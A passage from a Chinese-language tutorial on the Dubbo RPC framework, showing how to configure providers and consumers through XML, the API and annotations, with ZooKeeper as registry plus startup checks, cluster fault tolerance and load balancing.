<artifactId>dubbo-provider</artifactId>
<version>1.0-SNAPSHOT</version>

<dependencies>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.alibaba/dubbo -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>dubbo</artifactId>
<version>2.6.6</version>
</dependency>
<dependency>
<groupId>org.apache.zookeeper</groupId>
<artifactId>zookeeper</artifactId>
<version>3.4.10</version>
</dependency>
<dependency>
<groupId>com.101tec</groupId>
<artifactId>zkclient</artifactId>
<version>0.5</version>
</dependency>
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
<version>4.1.32.Final</version>
</dependency>
<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-framework</artifactId>
<version>2.8.0</version>
</dependency>
<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-recipes</artifactId>
<version>2.8.0</version>
</dependency>

</dependencies>
</project>

这里使用的 dubbo 的版本是 2.6.6 ,需要注意的是,如果你只导入 dubbo 的包的时候是会报错的,找不到 nettycurator 的依赖,所以,在这里我们需要把这两个的依赖加上,就不会报错了。

另外,这里我们使用 zookeeper 作为注册中心。

到目前为止, dubbo 需要的环境就已经可以了,下面,我们就把上面刚刚定义的接口暴露出去。

暴露接口( xml 配置方法)
首先,我们在我们项目的 resource 目录下创建 META-INF.spring 包,然后再创建 provider.xml 文件,名字可以任取哦,如下图所示

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">

<!--当前项目在整个分布式架构里面的唯一名称,计算依赖关系的标签-->
<dubbo:application name="provider" owner="sihai">
<dubbo:parameter key="qos.enable" value="true"/>
<dubbo:parameter key="qos.accept.foreign.ip" value="false"/>
<dubbo:parameter key="qos.port" value="55555"/>
</dubbo:application>

<dubbo:monitor protocol="registry"/>

<!--dubbo这个服务所要暴露的服务地址所对应的注册中心-->
<!--<dubbo:registry address="N/A"/>-->
<dubbo:registry address="N/A" />

<!--当前服务发布所依赖的协议;webservice、Thrift、Hessain、http-->
<dubbo:protocol name="dubbo" port="20880"/>

<!--服务发布的配置,需要暴露的服务接口-->
<dubbo:service
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService"/>

<!--Bean bean定义-->
<bean id="providerService" class="com.sihai.dubbo.provider.service.ProviderServiceImpl"/>

</beans>

说明:

1、上面的文件其实就是类似 spring 的配置文件,而且, dubbo 底层就是 spring
2、节点: dubbo:application
就是整个项目在分布式架构中的唯一名称,可以在 name 属性中配置,另外还可以配置 owner 字段,表示属于谁。
下面的参数是可以不配置的,这里配置是因为出现了端口的冲突,所以配置。
3、节点: dubbo:monitor
监控中心配置, 用于配置连接监控中心相关信息,可以不配置,不是必须的参数。
4、节点: dubbo:registry
配置注册中心的信息,比如,这里我们可以配置 zookeeper 作为我们的注册中心。 address 是注册中心的地址,这里我们配置的是 N/A 表示由 dubbo 自动分配地址。或者说是一种直连的方式,不通过注册中心。
5、节点: dubbo:protocol
服务发布的时候 dubbo 依赖什么协议,可以配置 dubbowebservicehttp 等协议。
6、节点: dubbo:service
这个节点就是我们的重点了,当我们服务发布的时候,我们就是通过这个配置将我们的服务发布出去的。 interface 是接口的包路径, ref 是第 ⑦ 点配置的接口的 bean
7、最后,我们需要像配置 spring 的接口一样,配置接口的 bean

到这一步,关于服务端的配置就完成了,下面我们通过 main 方法将接口发布出去。

发布接口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.sihai.dubbo.provider;

import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ProtocolConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.alibaba.dubbo.config.ServiceConfig;
import com.alibaba.dubbo.container.Main;
import com.sihai.dubbo.provider.service.ProviderService;
import com.sihai.dubbo.provider.service.ProviderServiceImpl;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import java.io.IOException;

/**
* xml方式启动
*
*/
public class App
{
public static void main( String[] args ) throws IOException {
//加载xml配置文件启动
ClassPathXmlApplicationContext context = new ClassPathXmlApplicationContext("META-INF/spring/provider.xml");
context.start();
System.in.read(); // 按任意键退出
}
}

发布接口非常简单,因为 dubbo 底层就是依赖 spring 的,所以,我们只需要通过 ClassPathXmlApplicationContext 拿到我们刚刚配置好的 xml ,然后调用 context.start() 方法就启动了。

看到下面的截图,就算是启动成功了,接口也就发布出去了。

在这里插入图片描述
你以为到这里就结束了了,并不是的,我们拿到 dubbo 暴露出去的 url 分析分析。

Dubbo 暴露的 URL

1
dubbo://192.168.234.1:20880/com.sihai.dubbo.provider.service.ProviderService?anyhost=true&application=provider&bean.name=com.sihai.dubbo.provider.service.ProviderService&bind.ip=192.168.234.1&bind.port=20880&dubbo=2.0.2&generic=false&interface=com.sihai.dubbo.provider.service.ProviderService&methods=SayHello&owner=sihai&pid=8412&qos.accept.foreign.ip=false&qos.enable=true&qos.port=55555&side=provider&timestamp=1562077289380

分析如下:

1、首先,在形式上我们发现,其实这么牛逼的 dubbo 也是用类似于 http 的协议发布自己的服务的,只是这里我们用的是 dubbo 协议。
2、 dubbo://192.168.234.1:20880/com.sihai.dubbo.provider.service.ProviderService
上面这段链接就是 ? 之前的链接,构成:协议://ip: 端口 / 接口。发现是不是也没有什么神秘的。
3、 anyhost=true&application=provider&bean.name=com.sihai.dubbo.provider.service.ProviderService&bind.ip=192.168.234.1&bind.port=20880&dubbo=2.0.2&generic=false&interface=com.sihai.dubbo.provider.service.ProviderService&methods=SayHello&owner=sihai&pid=8412&qos.accept.foreign.ip=false&qos.enable=true&qos.port=55555&side=provider&timestamp=1562077289380
? 之后的字符串,分析后你发现,这些都是刚刚在 provider.xml 中配置的字段,然后通过 & 拼接而成的,闻到了 http 的香味了吗?

终于, dubbo 服务端入门了。下面我们看看拿到了 url 后,怎么消费呢?

# 1.6.2 消费端

上面提到,我们在服务端提供的只是点对点的方式提供服务,并没有使用注册中心,所以,下面的配置也是会有一些不一样的。

消费端环境配置
首先,我们在消费端的 resource 下建立配置文件 consumer.xml

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">

<!--当前项目在整个分布式架构里面的唯一名称,计算依赖关系的标签-->
<dubbo:application name="consumer" owner="sihai"/>

<!--dubbo这个服务所要暴露的服务地址所对应的注册中心-->
<!--点对点的方式-->
<dubbo:registry address="N/A" />
<!--<dubbo:registry address="zookeeper://localhost:2181" check="false"/>-->

<!--生成一个远程服务的调用代理-->
<!--点对点方式-->
<dubbo:reference id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"
url="dubbo://192.168.234.1:20880/com.sihai.dubbo.provider.service.ProviderService"/>

<!--<dubbo:reference id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"/>-->
</beans>

分析如下所示:

1、发现这里的 dubbo:applicationdubbo:registry 是一致的
2、 dubbo:reference :我们这里采用点对点的方式,所以,需要配置在服务端暴露的 url

maven 依赖
和服务端一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>com.ouyangsihai</groupId>
<artifactId>dubbo-consumer</artifactId>
<version>1.0-SNAPSHOT</version>

<dependencies>
<dependency>
<groupId>com.ouyangsihai</groupId>
<artifactId>dubbo-provider</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>junit</groupId>
<artifactId>junit</artifactId>
<version>3.8.1</version>
<scope>test</scope>
</dependency>
<!-- https://mvnrepository.com/artifact/com.alibaba/dubbo -->
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>dubbo</artifactId>
<version>2.6.6</version>
</dependency>
<dependency>
<groupId>org.apache.zookeeper</groupId>
<artifactId>zookeeper</artifactId>
<version>3.4.10</version>
</dependency>
<dependency>
<groupId>com.101tec</groupId>
<artifactId>zkclient</artifactId>
<version>0.5</version>
</dependency>
<dependency>
<groupId>io.netty</groupId>
<artifactId>netty-all</artifactId>
<version>4.1.32.Final</version>
</dependency>
<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-framework</artifactId>
<version>2.8.0</version>
</dependency>
<dependency>
<groupId>org.apache.curator</groupId>
<artifactId>curator-recipes</artifactId>
<version>2.8.0</version>
</dependency>
</dependencies>
</project>

调用服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.sihai.dubbo.consumer;

import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ReferenceConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.sihai.dubbo.provider.service.ProviderService;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import java.io.IOException;

/**
* xml的方式调用
*
*/
public class App
{
public static void main( String[] args ) throws IOException {

ClassPathXmlApplicationContext context=new ClassPathXmlApplicationContext("consumer.xml");
context.start();
ProviderService providerService = (ProviderService) context.getBean("providerService");
String str = providerService.SayHello("hello");
System.out.println(str);
System.in.read();

}
}

这里和服务端的发布如出一辙
在这里插入图片描述
如此,我们就成功调用接口了。

# 1.7 加入 zookeeper 作为注册中心

在前面的案例中,我们没有使用任何的注册中心,而是用一种直连的方式进行的。但是,实际上很多时候,我们都是使用 dubbo + zookeeper 的方式,使用 zookeeper 作为注册中心,这里,我们就介绍一下 zookeeper 作为注册中心的使用方法。

这里,我们在前面的入门实例中进行改造。

# 1.7.1 服务端

在服务端中,我们只需要修改 provider.xml 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">

<!--当前项目在整个分布式架构里面的唯一名称,计算依赖关系的标签-->
<dubbo:application name="provider" owner="sihai">
<dubbo:parameter key="qos.enable" value="true"/>
<dubbo:parameter key="qos.accept.foreign.ip" value="false"/>
<dubbo:parameter key="qos.port" value="55555"/>
</dubbo:application>

<dubbo:monitor protocol="registry"/>

<!--dubbo这个服务所要暴露的服务地址所对应的注册中心-->
<!--<dubbo:registry address="N/A"/>-->
<dubbo:registry address="zookeeper://localhost:2181" check="false"/>

<!--当前服务发布所依赖的协议;webservice、Thrift、Hessain、http-->
<dubbo:protocol name="dubbo" port="20880"/>

<!--服务发布的配置,需要暴露的服务接口-->
<dubbo:service
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService"/>

<!--Bean bean定义-->
<bean id="providerService" class="com.sihai.dubbo.provider.service.ProviderServiceImpl"/>
</beans>

重点关注这句话

1
<dubbo:registry address="zookeeper://localhost:2181" />

address 中,使用我们的 zookeeper 的地址。

如果是 zookeeper 集群的话,使用下面的方式。

1
<dubbo:registry protocol="zookeeper" address="192.168.11.129:2181,192.168.11.137:2181,192.168.11.138:2181"/>

服务端的配置就好了,其他的跟 入门案例 一样。

# 1.7.2 消费端

跟服务端一样,在消费端,我们也只需要修改 consumer.xml 即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:dubbo="http://code.alibabatech.com/schema/dubbo"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd http://code.alibabatech.com/schema/dubbo http://code.alibabatech.com/schema/dubbo/dubbo.xsd">

<!--当前项目在整个分布式架构里面的唯一名称,计算依赖关系的标签-->
<dubbo:application name="consumer" owner="sihai"/>

<!--dubbo这个服务所要暴露的服务地址所对应的注册中心-->
<!--点对点的方式-->
<!--<dubbo:registry address="N/A" />-->
<dubbo:registry address="zookeeper://localhost:2181" check="false"/>

<!--生成一个远程服务的调用代理-->
<!--点对点方式-->
<!--<dubbo:reference id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"
url="dubbo://192.168.234.1:20880/com.sihai.dubbo.provider.service.ProviderService"/>-->

<dubbo:reference id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"/>

</beans>

1、注册中心配置跟服务端一样

1
<dubbo:registry address="zookeeper://localhost:2181"/>

2、 dubbo:reference
由于我们这里使用 zookeeper 作为注册中心,所以,跟点对点的方式是不一样的,这里不再需要 dubbo 服务端提供的 url 了,只需要直接引用服务端提供的接口即可

1
2
<dubbo:reference id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"/>

好了,消费端也配置好了,这样就可以使用修改的入门案例,重新启动运行了。

在这里插入图片描述
同样成功了。

这时候的区别在于,dubbo 发布的 url 注册到了 zookeeper ,消费端从 zookeeper 消费, zookeeper 相当于一个中介,给消费者提供服务

你以为这就完了?不,好戏才刚刚开始呢。

# 1.8 多种配置方式

在入门实例的时候,我们使用的是 xml 配置的方式,对 dubbo 的环境进行了配置,但是,官方还提供了其他的配置方式,这里我们也一一分解。

# 1.8.1 API 配置方式

这种方式其实官方是不太推荐的,官方推荐使用 xml 配置的方式,但是,在有的时候测试的时候,还是可以用的到的,另外,为了保证完整性,这些内容还是有必要讲讲的。

首先还是回到服务端工程。

服务端
在这里插入图片描述
这里我们使用 api 的方式配置,所以, provider.xml 这个配置文件就暂时不需要了,我们只需要在上面的 AppApi 这个类中的 main 方法中用 api 配置及启动即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.sihai.dubbo.provider;

import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ProtocolConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.alibaba.dubbo.config.ServiceConfig;
import com.sihai.dubbo.provider.service.ProviderService;
import com.sihai.dubbo.provider.service.ProviderServiceImpl;

import java.io.IOException;

/**
* Api方式启动
* api的方式调用不需要其他的配置,只需要下面的代码即可。
* 但是需要注意,官方建议:
* Api方式用于测试用例使用,推荐xml的方式
*/
public class AppApi
{
public static void main( String[] args ) throws IOException {

// 服务实现
ProviderService providerService = new ProviderServiceImpl();

// 当前应用配置
ApplicationConfig application = new ApplicationConfig();
application.setName("provider");
application.setOwner("sihai");

// 连接注册中心配置
RegistryConfig registry = new RegistryConfig();
registry.setAddress("zookeeper://localhost:2181");
// registry.setUsername("aaa");
// registry.setPassword("bbb");

// 服务提供者协议配置
ProtocolConfig protocol = new ProtocolConfig();
protocol.setName("dubbo");
protocol.setPort(20880);
//protocol.setThreads(200);

// 注意:ServiceConfig为重对象,内部封装了与注册中心的连接,
//以及开启服务端口

// 服务提供者暴露服务配置
// 此实例很重,封装了与注册中心的连接,请自行缓存,
//否则可能造成内存和连接泄漏
ServiceConfig<ProviderService> service = new ServiceConfig<ProviderService>();
service.setApplication(application);
// 多个注册中心可以用setRegistries()
service.setRegistry(registry);
// 多个协议可以用setProtocols()
service.setProtocol(protocol);
service.setInterface(ProviderService.class);
service.setRef(providerService);
service.setVersion("1.0.0");

// 暴露及注册服务
service.export();
}
}

分析说明如下所示:

看到上面的代码是不是云里雾里,不要慌,我们通过对照 xml 的方式分析一下。

registry 的 xml 方式

1
<dubbo:registry protocol="zookeeper" address="localhost:2181"/>

API 的方式

1
2
RegistryConfig registry = new RegistryConfig();
registry.setAddress("zookeeper://localhost:2181");

dubbo:registry 节点对应 RegistryConfigxml 的属性对应 API 方式用 set 方法就可以了。对比之下,你就会发现,如果 API 的方式不熟悉,可以对照 xml 配置方式就可以。

其他 API

1
2
3
4
5
6
7
8
9
10
11
org.apache.dubbo.config.ServiceConfig
org.apache.dubbo.config.ReferenceConfig
org.apache.dubbo.config.ProtocolConfig
org.apache.dubbo.config.RegistryConfig
org.apache.dubbo.config.MonitorConfig
org.apache.dubbo.config.ApplicationConfig
org.apache.dubbo.config.ModuleConfig
org.apache.dubbo.config.ProviderConfig
org.apache.dubbo.config.ConsumerConfig
org.apache.dubbo.config.MethodConfig
org.apache.dubbo.config.ArgumentConfig

更详细的可以查看官方文档:

http://dubbo.apache.org/zh-cn…

我们再看看我配置的消费端的 Api 方式。

消费端
同样,我们不需要 consumer.xml 配置文件了,只需要在 main 方法中启动即可。

在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package com.sihai.dubbo.consumer;

import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ReferenceConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.sihai.dubbo.provider.service.ProviderService;

/**
* api的方式调用
* api的方式调用不需要其他的配置,只需要下面的代码即可。
* 但是需要注意,官方建议:
* Api方式用于测试用例使用,推荐xml的方式
*/
public class AppApi {

public static void main(String[] args) {
// 当前应用配置
ApplicationConfig application = new ApplicationConfig();
application.setName("consumer");
application.setOwner("sihai");

// 连接注册中心配置
RegistryConfig registry = new RegistryConfig();
registry.setAddress("zookeeper://localhost:2181");

// 注意:ReferenceConfig为重对象,内部封装了与注册中心的连接,
//以及与服务提供方的连接

// 引用远程服务
ReferenceConfig<ProviderService> reference = new ReferenceConfig<ProviderService>(); // 此实例很重,封装了与注册中心的连接以及与提供者的连接,请自行缓存,否则可能造成内存和连接泄漏
reference.setApplication(application);
reference.setRegistry(registry); // 多个注册中心可以用setRegistries()
reference.setInterface(ProviderService.class);

// 和本地bean一样使用xxxService
ProviderService providerService = reference.get(); // 注意:此代理对象内部封装了所有通讯细节,对象较重,请缓存复用
providerService.SayHello("hello dubbo! I am sihai!");
}
}

这部分的 API 配置的方式就到这了,注意:官方推荐 xml 的配置方法

# 1.8.2 注解配置方式

注解配置方式还是需要了解一下的,现在微服务都倾向于这种方式,这也是以后发展的趋势, 0 配置应该是这几年的趋势。

那么如何对 dubbo 使用注解的方式呢?我们先看服务端。

服务端
在这里插入图片描述
第一步:定义接口及实现类,在上面的截图中的 annotation 包下

1
2
3
4
5
6
7
8
package com.sihai.dubbo.provider.service.annotation;

/**
* 注解方式接口
*/
public interface ProviderServiceAnnotation {
String SayHelloAnnotation(String word);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package com.sihai.dubbo.provider.service.annotation;

import com.alibaba.dubbo.config.annotation.Service;

/**
* 注解方式实现类
*/
@Service(timeout = 5000)
public class ProviderServiceImplAnnotation implements ProviderServiceAnnotation{

public String SayHelloAnnotation(String word) {
return word;
}
}

@Service

@Service 用来配置 Dubbo 的服务提供方。

第二步:组装服务提供方。通过 SpringJava Config 的技术( @Configuration )和 annotation 扫描( @EnableDubbo )来发现、组装、并向外提供 Dubbo 的服务。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.sihai.dubbo.provider.configuration;

import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ProtocolConfig;
import com.alibaba.dubbo.config.ProviderConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.alibaba.dubbo.config.spring.context.annotation.EnableDubbo;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

/**
* 注解方式配置
*/
@Configuration
@EnableDubbo(scanBasePackages = "com.sihai.dubbo.provider.service.annotation")
public class DubboConfiguration {

@Bean // #1 服务提供者信息配置
public ProviderConfig providerConfig() {
ProviderConfig providerConfig = new ProviderConfig();
providerConfig.setTimeout(1000);
return providerConfig;
}

@Bean // #2 分布式应用信息配置
public ApplicationConfig applicationConfig() {
ApplicationConfig applicationConfig = new ApplicationConfig();
applicationConfig.setName("dubbo-annotation-provider");
return applicationConfig;
}

@Bean // #3 注册中心信息配置
public RegistryConfig registryConfig() {
RegistryConfig registryConfig = new RegistryConfig();
registryConfig.setProtocol("zookeeper");
registryConfig.setAddress("localhost");
registryConfig.setPort(2181);
return registryConfig;
}

@Bean // #4 使用协议配置,这里使用 dubbo
public ProtocolConfig protocolConfig() {
ProtocolConfig protocolConfig = new ProtocolConfig();
protocolConfig.setName("dubbo");
protocolConfig.setPort(20880);
return protocolConfig;
}
}

分析说明如下:
1、通过 @EnableDubbo 指定在 com.sihai.dubbo.provider.service.annotation 下扫描所有标注有 @Service 的类

2、通过 @ConfigurationDubboConfiguration 中所有的 @Bean 通过 Java Config 的方式组装出来并注入给 Dubbo 服务,也就是标注有 @Service 的类。

这其中就包括了:

1
2
3
4
ProviderConfig:服务提供方配置
ApplicationConfig:应用配置
RegistryConfig:注册中心配置
ProtocolConfig:协议配置

看起来很复杂,其实。。。
在这里插入图片描述
第三步:启动服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package com.sihai.dubbo.provider;

import com.alibaba.dubbo.config.spring.context.annotation.DubboComponentScan;
import com.sihai.dubbo.provider.configuration.DubboConfiguration;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import sun.applet.Main;

import java.io.IOException;

/**
* 注解启动方式
*/
public class AppAnnotation {

public static void main(String[] args) throws IOException {
AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(DubboConfiguration.class);
context.start();
System.in.read();
}
}

发现输出下面信息就表示 success

在这里插入图片描述
消费端

同样我们下看看消费端的工程,有一个感性认识。

在这里插入图片描述
第一步:引用服务

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.sihai.dubbo.consumer.Annotation;

import com.alibaba.dubbo.config.annotation.Reference;
import com.sihai.dubbo.provider.service.annotation.ProviderServiceAnnotation;
import org.springframework.stereotype.Component;

/**
* 注解方式的service
*/
@Component("annotatedConsumer")
public class ConsumerAnnotationService {

@Reference
private ProviderServiceAnnotation providerServiceAnnotation;

public String doSayHello(String name) {
return providerServiceAnnotation.SayHelloAnnotation(name);
}
}

ConsumerAnnotationService 类中,通过 @Reference 引用服务端提供的类,然后通过方法调用这个类的方式,给消费端提供接口。

注意:如果这里找不到 ProviderServiceAnnotation 类,请在服务端先把服务端工程用 Maven intall 一下,然后将服务端的依赖放到消费端的 pom 中。如下:

1
2
3
4
5
<dependency>
<groupId>com.ouyangsihai</groupId>
<artifactId>dubbo-provider</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>

解释一下:引入的 jar 包里面只是未被实现的接口, rpc 需要在客户端服务端定义一套统一的接口,然后在服务端实现接口,实际上还是网络通信,只不过长得像本地实现

第二步:组装服务消费者

这一步和服务端是类似的,这里就不在重复了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
package com.sihai.dubbo.consumer.configuration;

import com.alibaba.dubbo.config.ApplicationConfig;
import com.alibaba.dubbo.config.ConsumerConfig;
import com.alibaba.dubbo.config.RegistryConfig;
import com.alibaba.dubbo.config.spring.context.annotation.EnableDubbo;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.ComponentScan;
import org.springframework.context.annotation.Configuration;

import java.util.HashMap;
import java.util.Map;

/**
* 注解配置类
*/
@Configuration
@EnableDubbo(scanBasePackages = "com.sihai.dubbo.consumer.Annotation")
@ComponentScan(value = {"com.sihai.dubbo.consumer.Annotation"})
public class ConsumerConfiguration {
@Bean // 应用配置
public ApplicationConfig applicationConfig() {
ApplicationConfig applicationConfig = new ApplicationConfig();
applicationConfig.setName("dubbo-annotation-consumer");
Map<String, String> stringStringMap = new HashMap<String, String>();
stringStringMap.put("qos.enable","true");
stringStringMap.put("qos.accept.foreign.ip","false");
stringStringMap.put("qos.port","33333");
applicationConfig.setParameters(stringStringMap);
return applicationConfig;
}

@Bean // 服务消费者配置
public ConsumerConfig consumerConfig() {
ConsumerConfig consumerConfig = new ConsumerConfig();
consumerConfig.setTimeout(3000);
return consumerConfig;
}

@Bean // 配置注册中心
public RegistryConfig registryConfig() {
RegistryConfig registryConfig = new RegistryConfig();
registryConfig.setProtocol("zookeeper");
registryConfig.setAddress("localhost");
registryConfig.setPort(2181);
return registryConfig;
}
}

第三步:发起远程调用

main 方法中通过启动一个 Spring Context ,从其中查找到组装好的 Dubbo 的服务消费者,并发起一次远程调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
package com.sihai.dubbo.consumer;

import com.sihai.dubbo.consumer.Annotation.ConsumerAnnotationService;
import com.sihai.dubbo.consumer.configuration.ConsumerConfiguration;
import com.sihai.dubbo.provider.service.ProviderService;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;
import org.springframework.context.support.ClassPathXmlApplicationContext;

import java.io.IOException;

/**
* 注解方式启动
*
*/
public class AppAnnotation
{
public static void main( String[] args ) throws IOException {

AnnotationConfigApplicationContext context = new AnnotationConfigApplicationContext(ConsumerConfiguration.class);
context.start(); // 启动
ConsumerAnnotationService consumerAnnotationService = context.getBean(ConsumerAnnotationService.class);
String hello = consumerAnnotationService.doSayHello("annotation"); // 调用方法
System.out.println("result: " + hello); // 输出结果

}
}

结果如下所示:

在这里插入图片描述

# 1.9 常用场景

在下面的讲解中,都会是以 xml 配置的方式来讲解的,这也是 dubbo 官方比较推荐的方式。以下的操作都是在服务端的 xml 配置文件和消费端的配置文件来讲解的。

# 1.9.1 启动时检查

Dubbo 缺省会在启动时检查依赖的服务是否可用,不可用时会抛出异常,阻止 Spring 初始化完成,以便上线时,能及早发现问题,默认 check="true"

但是,有的时候,我们并不是都需要启动时就检查的,比如测试的时候,我们是需要更快速的启动,所以,这种场景的时候,我们是需要关闭这个功能的。

下面,我们看看如何使用这个功能。

在服务端注册的时候(客户端注册时同样适用);

1
<dubbo:registry protocol="zookeeper" address="localhost:2181,localhost:2182,localhost:2183" check="false"/>

在客户端引用服务端服务的时候;

1
2
<dubbo:reference check="false" id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"/>

就是这么简单,就是这么强!

# 1.9.2 集群容错

dubbo 也是支持集群容错的,同时也有很多可选的方案,其中,默认的方案是 failover ,也就是重试机制。

首先,我们先把所有的容错机制都整理一遍,然后再看看使用。

集群模式 说明 使用方法
Failover Cluster 失败自动切换,当出现失败,重试其它服务器。通常用于读操作,但重试会带来更长延迟。可通过 retries="2" 来设置重试次数 (不含第一次)。 cluster="xxx" xxx:集群模式名称 ,例如 cluster="failover"
Failfast Cluster 快速失败,只发起一次调用,失败立即报错。通常用于非幂等性的写操作,比如新增记录。
Failsafe Cluster 失败安全,出现异常时,直接忽略。
Failback Cluster 失败自动恢复,后台记录失败请求,定时重发。通常用于消息通知操作。
Forking Cluster 并行调用多个服务器,只要一个成功即返回。通常用于实时性要求较高的读操作,但需要浪费更多服务资源。可通过 forks="2" 来设置最大并行数。
Broadcast Cluster 广播调用所有提供者,逐个调用,任意一台报错则报错。通常用于通知所有提供者更新缓存或日志等本地资源信息。

使用实例
在发布服务或者引用服务的时候设置

1
2
3
4
<!--服务发布的配置,需要暴露的服务接口-->
<dubbo:service cluster="failover" retries="2"
interface="com.sihai.dubbo.provider.service.ProviderService"
ref="providerService"/>

1
2
<dubbo:reference cluster="failover" retries="2" check="false" id="providerService"
interface="com.sihai.dubbo.provider.service.ProviderService"/>

# 1.9.3 负载均衡

负载均衡想必是一个再熟悉不过的概念了,所以, dubbo 支持也是再正常不过了,这里也总结一下 dubbo 支持的负载均衡的一些方案及使用方法。

负载均衡模式 说明 使用方法
Random LoadBalance 随机 按权重设置随机概率 <dubbo:service loadbalance="xxx"/> xxx:负载均衡方法
RoundRobin LoadBalance 轮询 按公约后的权重设置轮询比率。
LeastActive LoadBalance 最少活跃调用数 相同活跃数的随机,活跃数指调用前后计数差。
ConsistentHash LoadBalance 一致性 Hash 相同参数的请求总是发到同一提供者。 当某一台提供者挂时,原本发往该提供者的请求,基于虚拟节点,平摊到其它提供者,不会引起剧烈变动。

# 1.9.4 直连提供者

